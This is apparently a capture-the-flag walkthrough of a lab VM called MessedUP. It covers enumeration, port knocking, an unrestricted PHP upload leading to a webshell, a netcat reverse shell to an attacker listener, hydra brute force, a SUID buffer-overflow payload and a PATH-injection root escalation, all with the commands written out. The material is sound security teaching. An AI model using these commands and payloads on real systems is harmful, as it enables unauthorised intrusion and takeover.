10.9.9.0/24 -- that has no internet accessNmap Results
tcp/22 is SSH or tcp/80 is HTTP, you'll quickly find things are not as they seem.# Nmap 7.95 scan initiated Tue Jan 13 01:29:51 2026 as: /usr/lib/nmap/nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.9.9.35
Nmap scan report for 10.9.9.35
Host is up (0.00042s latency).
Not shown: 65525 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open http SimpleHTTPServer 0.6 (Python 3.7.3)
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
|_http-title: Directory listing for /
|_http-server-header: SimpleHTTP/0.6 Python/3.7.3
80/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 5d:41:2a:c1:2d:3b:6c:78:b3:af:ae:9d:42:fe:88:b8 (RSA)
| 256 3c:e9:64:eb:84:fe:5c:83:94:07:27:6c:12:14:c8:4c (ECDSA)
|_ 256 09:9b:2b:18:de:6c:6d:f8:8b:15:df:6c:0f:c0:7c:b2 (ED25519)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 38828/udp6 mountd
| 100005 1,2,3 45899/udp mountd
| 100005 1,2,3 49415/tcp mountd
| 100005 1,2,3 54103/tcp6 mountd
| 100021 1,3,4 36921/udp6 nlockmgr
| 100021 1,3,4 38327/tcp nlockmgr
| 100021 1,3,4 39681/tcp6 nlockmgr
| 100021 1,3,4 41106/udp nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
2049/tcp open nfs 3-4 (RPC #100003)
8080/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxrwxrwx 1 0 0 320 Jan 11 2021 idiot.txt [NSE: writeable]
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.6.6.6
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 8
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
34297/tcp open mountd 1-3 (RPC #100005)
38327/tcp open nlockmgr 1-4 (RPC #100021)
49415/tcp open mountd 1-3 (RPC #100005)
52499/tcp open mountd 1-3 (RPC #100005)
65000/tcp filtered unknown
Service Info: Host: MessedUP; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jan 13 01:30:35 2026 -- 1 IP address (1 host up) scanned in 43.15 secondsTCP Port Scan
# Nmap 7.95 scan initiated Tue Jan 13 01:29:51 2026 as: /usr/lib/nmap/nmap -Pn -sU -sV -T3 --top-ports 25 -oN udp-nmap-scan.txt 10.9.9.35
Nmap scan report for 10.9.9.33
Host is up (0.00079s latency).
PORT STATE SERVICE VERSION
68/udp open|filtered dhcpc
69/udp open|filtered tftp
111/udp open rpcbind 2-4 (RPC #100000)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jan 13 01:32:05 2026 -- 1 IP address (1 host up) scanned in 133.92 secondsUDP Port Scan
echo -e '10.9.9.35\t\tmessedup.hmv' | sudo tee -a /etc/hostsAdd hosts entry for convenience
Service Enumeration
TCP/111

TCP/8080 — FTP



UDP/69 — TFTP
Download the ZIP File
tftp messedup.hmv 69 -v -c get 125.zip
unzip -d 125 125.zip
Recursively Unzipping Files
#!/usr/bin/env bash
function find_and_unzip {
TARGET_ZIP=$1
PREVIOUS_ZIP=$2
TARGET_DIR="$PWD/${RANDOM}${RANDOM}"
/usr/bin/unzip -d "$TARGET_DIR" "$TARGET_ZIP" >/dev/null
# Clean up previously unzipped file
# Used with recursion
if [ -n "$PREVIOUS_ZIP" ] ; then
rm -f "$PREVIOUS_ZIP" > /dev/null
fi
NEXT_FILE=$(/usr/bin/find "$TARGET_DIR" -type f -name '*.zip')
if [ -n "$NEXT_FILE" ] ; then
# Make sure the file is a Zip archive
if [[ $(/usr/bin/file -b --mime-type "$NEXT_FILE") != "application/zip" ]] ; then
echo "${NEXT_FILE} found, but is not a ZIP archive."
else
# Clean up temp dir from previous call
/usr/bin/cp "$NEXT_FILE" "$PWD"
/usr/bin/rm -rf "$TARGET_DIR"
# Recursively call the function until all unzipped
FILE_NAME=$(echo "$NEXT_FILE" | rev | cut -d '/' -f 1 | rev)
TARGET_ZIP="${PWD}/${FILE_NAME}"
# Global variable for recursion
export REMOVE_ON_NEXT="$TARGET_ZIP"
find_and_unzip "$TARGET_ZIP" "$REMOVE_ON_NEXT"
fi
else
echo "Search for .ZIP file returned 0 results."
return
fi
}
ZIP_FILE="$PWD/125.zip"
find_and_unzip "$ZIP_FILE"To summarize the source code (see the comments I've added):
- Start with an initial
unzipcall to unzip125.zip - Then, use
findto search the random output directory for the next.zip - If the next
.zipfound, make sure it is truly a ZIP archive- If so,
cpthe file to the parent directory rm -rfthe previous temp directory- Store the new ZIP filename in
$TARGET_ZIP - Store
$TARGET_ZIPin$REMOVE_ON_NEXTto indicate we remove on next run - Recursively call the
find_and_unzipfunction
- If so,

Port Knocking


tcp/65000 was "filtered" in the initial Nmap scanTCP/65000

Enumerate WordPress

wp-config.php, I'm certain


WPScan Enumeration
wpscan requests through Burp in order to ensure wpscan can follow links.Be sure to grab your WPScan API key before running!
wpscan --url http://messedup.hmv:65000 -e \
--proxy http://127.0.0.1:8080 \
--detection-mode aggressive --plugins-detection mixed \
--api-token paste_api_token_here \
--disable-tls-checks \
-o wpscan-out.txtReplace "paste_api_token_here"
wpscan-out.txt require authentication or don't have any public exploits available. So, I'm going to do some directory and file enumeration.Directory and File Enumeration
grep -v '^#' /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt > wordlist.txt
Filter out comments
ffuf -u http://messedup.hmv:65000/FUZZ -w wordlist.txt

Attempt File Upload Bypass
cat << 'EOF' > test.php
<?php phpinfo(); ?>
EOFCreate "test.php" with simple "phpinfo" call to test RCE


curl -x 'http://127.0.0.1:8080' 'http://messedup.hmv:65000/projects/' -F 'image=@test.php'Send the request through Burp for inspection


Exploit
Unauthenticated File Upload -> RCE
How We Got Here
- Anonymous FTP access on
tcp/8080revealed a ZIP file in TFTP server - TFTP, being session-less, allowed us to gather the
125.zipfile, which was just a series of recursively nested ZIP files - The final ZIP file in the chain contained a port knocking sequence, which opened
tcp/65000 - This revealed yet another web server — seemingly WordPress — hosting a non-standard directory —
/projects/ - This directory contained a simple, unauthenticated file upload application that required image files on the surface, but only performed simple file extension validation on the client side
Key Takeaway: Obscurity is not security.
Webshell
curl -sLO https://raw.githubusercontent.com/WhiteWinterWolf/wwwolf-php-webshell/refs/heads/master/webshell.phpDownload the webshell
curl -x 'http://127.0.0.1:8080' 'http://messedup.hmv:65000/projects/' -F 'image=@webshell.php'Send the request through Burp for inspection

Reverse Shell
sudo rlwrap nc -lnvp 443Start a TCP socket to catch the reverse shell
nc -n 10.6.6.6 443 -e /bin/bashCall back to listener
Post-Exploit Enumeration
Operating Environment
OS & Kernel
uname -a && cat /etc/os* ; echo
Linux messedUP 4.19.0-13-686-pae #1 SMP Debian 4.19.160-2 (2020-11-28) i686 GNU/Linux
PRETTY_NAME="Debian GNU/Linux 10 (buster)"
NAME="Debian GNU/Linux"
VERSION_ID="10"
VERSION="10 (buster)"
VERSION_CODENAME=buster
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
Current User
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: sudo: command not found
Users and Groups
Local Users
skinny:x:1000:1000:skinny,,,:/home/skinny:/bin/bash
Local Groups
cdrom:x:24:skinny
floppy:x:25:skinny
audio:x:29:skinny
dip:x:30:skinny
video:x:44:skinny
plugdev:x:46:skinny
netdev:x:109:skinny
skinny:x:1000:
Network Configurations
Network Interfaces
ens18: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether bc:24:11:34:cc:01 brd ff:ff:ff:ff:ff:ff
inet 10.9.9.35/24 brd 10.9.9.255 scope global dynamic ens18
valid_lft 5475sec preferred_lft 5475sec
inet6 fe80::be24:11ff:fe34:cc01/64 scope link
valid_lft forever preferred_lft forever
Open Ports
tcp LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
Processes and Services
Interesting Processes
Found using pspy:
2026/01/23 14:47:01 CMD: UID=0 PID=3102 | /usr/sbin/CRON -f
2026/01/23 14:47:01 CMD: UID=0 PID=3103 | /usr/sbin/CRON -f
2026/01/23 14:47:01 CMD: UID=0 PID=3104 | /bin/sh -c (python /opt/abuser.py)
2026/01/23 14:47:01 CMD: UID=0 PID=3105 | python /opt/abuser.py
2026/01/23 14:47:01 CMD: UID=0 PID=3106 | sh -c rm -rf /var/tmp/skinnyCronJob
2026/01/23 14:47:01 CMD: UID=0 PID=3107 | python /opt/abuser.py
2026/01/23 14:47:01 CMD: UID=0 PID=3108 | sh -c mkdir /var/tmp/skinnyCronJob
2026/01/23 14:47:01 CMD: UID=0 PID=3109 | python /opt/abuser.py
2026/01/23 14:47:04 CMD: UID=0 PID=3110 | python /opt/abuser.py
2026/01/23 14:47:04 CMD: UID=0 PID=3111 | sh -c rm -rf /var/tmp/skinnyCronJob
Scheduled Tasks
Interesting Scheduled Tasks
Interesting Files
/var/www/html/wordpress/wp-config.php
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** MySQL database username */
define( 'DB_USER', 'wpUser' );
/** MySQL database password */
define( 'DB_PASSWORD', 'wordpress112233' );
/home/skinny
find /home/skinny -readable 2>/dev/null
/home/skinny
/home/skinny/.bash_logout
/home/skinny/.bashrc
/home/skinny/importantDocs
/home/skinny/importantDocs/Kerckhoffs method for Vegener cipher_JMD_GIT.py
/home/skinny/.profile
/usr/bin/passwordStrengthApp.exe
# Do recursive search for known keywords
grep -Eril 'skinny|(?:skinny)?[3e]l[3e]phant|grumpygeekwrites' / 2>/dev/null
-rwxrwxr-x 1 root root 15940 Jan 11 2021 /usr/bin/passwordStrengthApp.exe
Privilege Escalation
Lateral to Skinny
Binary Analysis
which strings"strings" is installed on the target
strings /usr/bin/passwordStrengthApp.exe
strings /usr/bin/passwordStrengthApp.exe | grep '\->' | cut -d '>' -f 2 | sed -E 's/^\s{1,}//g'Output a list of password for processing

base64 -d, you'll find that it fails. You'll find that the data is encoded in Base32. You'd also notice this because of the smaller character set in Base32 and that it uses more = padded bytes.
strings /usr/bin/passwordStrengthApp.exe |
grep '\->' | cut -d '>' -f 2 |
sed -E 's/^\s{1,}//g' |
xargs -I {} bash -c 'echo -n "{}" | base32 -d 2>/dev/null || echo {}'Pipe to xargs and first try to base32 -d and if fails print with echo

hydra -I -f -V -l skinny -P pw.txt -s 80 ssh://messedup.hmv
ssh -p 80 skinny@messedup.hmvBecoming Root
Binary Analysis
Simple Buffer Overflow Check
find /home/skinny -ls428 16 -r-sr-xr-x 1 root root 15536 Jan 11 2021 /home/skinny/.reload/overspill.objWorld-executable with root SUID




Transfer File Locally
scp -P 80 skinny@messedup.hmv:/home/skinny/.reload/overspill.obj .Copy the binary locally for analysis

0x08049228
cat shadow_backup_sensitiveFilechecksec --file=passwordStrengthApp.exeRELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 80 Symbols No 0 1 passwordStrengthApp.exeBrief explanation of the output considering ASLR is disabled:
- Partial RELRO — GOT remains at fixed addresses, so partial RELRO is easier to bypass and GOT overwrite-style attacks are simpler
- No canary found — With fixed addresses and no canary, classic stack overflows can reliably hijack control flow
- NX enabled — NX still helps, but stable addresses make building ROP chains much easier because gadget locations never change
- PIE enabled — Without ASLR, PIE’s main benefit disappears; the binary loads at a predictable base, so all gadget addresses are stable
- No RPATH — No custom runtime library search path embedded
- No RUNPATH — No alternative runtime search path for shared libraries
- 80 symbols — Fixed addresses plus symbols make mapping functions to exact addresses straightforward for exploit development
- Fortify: No — Library calls like
strcpy/sprintfare not automatically replaced with safer, bounds-checked versions - Fortified: 0 — No extra overflow checks inserted around vulnerable libc functions
- Fortifiable: 1 — Indicates missed opportunity to auto-harden at least one buffer-using call
checksec shows multiple protections degraded or missing, we're ready to begin exploit development.Setting up a Quick Test Environment
Configure the VM

We can use the "live boot" Debian images to quickly spin up test environments
VM Hardware Configuration:
- CPU:
kvm64 - Memory:
4096 MiB - Hard Disk:
32 GiB(will mount this as persistent storage) - CD/DVD: Live boot
.isofile - NIC: VLAN 666 (same VLAN as Kali)
Boot Order:

Credentials for Live Boot:
- Username:
user - Password:
live
Increase Available Storage


sudo fdisk /dev/sdaThen, input "n" > "p" > "Enter" > "Enter" > "Enter" > "w" to create a new primary partition
sudo mkfs.ext4 -L persistence /dev/sda1Format the new primary partition as "ext4" and label with the name "persistence"
sudo mount /dev/sda1 /mnt
echo "/ union" | sudo tee /mnt/persistence.conf
sudo umount /mnt
sudo poweroffPower off the VM




Enable SSH Access
sudo apt clean && sudo apt update && sudo apt install -y sshInstall the SSH daemon
sudo systemctl enable --now sshStart the SSH daemon at boot and also start it right now

10.6.6.0/24 network, with no firewall rules inhibiting access. Plan accordingly for your environment.
Add 32-bit Support
sudo dpkg --add-architecture i386
sudo apt update
sudo apt install gcc-multilib gdb-multiarch libc6:i386 lib32stdc++6
Fuzzing the Application
echo -e "$(for i in {1..35};do printf 'A';done)\x28\x92\x04\x08"
\x28\x92\x04\x08 is 080409228 in reverse, because we have to factor for Little-endian byte ordering when the program is run.Effectively, we're going to fill the program memory buffer with 35
A characters. The remaining bytes 08049228 will be written to the EIP register, which will cause the program to execute the function at this memory address -- read_sensitive_fileecho -e "$(for i in {1..35};do printf 'A';done)\x28\x92\x04\x08" > payloadgdb ./overspill.obj(gdb) start < payload
(gdb) next
(gdb) print $eip
Testing on the Target

Crack Root Hash

Unintended Solve: PATH Injection
cat and shadow_backup_sensitiveFile are referenced in the binary using their relative names. We can inject a false cat binary into our $PATH variable, which will cause it to run as root, as the SUID permissions are not dropped.cp /bin/bash /tmp/catexport PATH="/tmp:$PATH"
cd /home/skinnyecho 'chmod u+s /bin/bash' > /home/skinny/shadow_backup_sensitiveFile
/home/skinny and using the full path of the binary: /home/skinny/.reload/overspill.obj. When the program executes, it runs cat, which is actually /tmp/cat -- our copy of bash. And, it looks for shadow_backup_sensitiveFile in the current directory, which is just a shell command --chmod u+s /bin/bash.
Flags
User
E9619156E7290E79C226FBF1451F400A5EA35107
Root
54CE6117EBEBCB4F10781C11FD2896ED191F2182
